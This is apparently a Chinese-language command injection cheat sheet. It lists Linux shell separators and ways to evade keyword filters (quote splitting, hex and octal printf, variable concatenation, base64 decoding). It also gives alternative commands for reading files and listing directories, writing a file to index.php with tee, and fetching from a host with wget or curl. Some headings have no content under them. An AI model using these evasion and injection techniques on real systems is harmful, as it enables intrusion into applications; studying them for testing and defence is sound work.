命令注入备忘录

Linux

&&

1
2
3
echo 1 && echo 2
1
2

&

1
2
3
echo 1 & echo 2
2
1 # bg

||

1
2
echo 1 || echo 2
1

|

1
2
echo 1 | echo 2
2

;

1
echo 1;echo 2

`

1
echo `ls`

$()

\n

过滤关键字

绕过

  • ls == l``s
  • ls == l''s
  • ls == l""s
  • ls == l<>s(特殊情况)
  • $(printf "\x6c\x73")
  • ls == l\%0as

    读文件的命令

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    cat
    tac
    more
    less
    head
    tail
    nl
    rev
    od * (八进制)
    base64
    base32
    xxd
    pg

列目录命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
ls
l (特定版本alias
la(特定版本alias)
ll(特定版本alias)
whereis *
echo *
printf %s *
dir
find ./
wc *
pg *
watch *
du
sort

过滤空格

字符串转命令

  • $()

    1
    2
    3
    $(echo ls)
    $(printf '\x6c\x73')
  • a=ls;$a

  • a=ls;${a}
  • ${asdf-`expr substr “lsabcd” 1 2`} # asdf为不存在的变量

    字符串截取(拼接)转命令

  • \${a=l}\${b=s}
  • \${a=l\${b=s}}
  • \$a=labcds;\${a:0:1}${a:5:1}
  • `echo l``echo s`
  • l$9s

    写文件

    1
    echo 1 | tee index.php
1
2
3
wget 192.168.143.129
curl 192.168.143.129

过滤关键字

  • printf
    1
    2
    3
    4
    16 进制
    printf '\x41'
    A
1
2
3
8进制
printf '\101'
  • base64
    1
    echo bHMK | base64 -d |tee a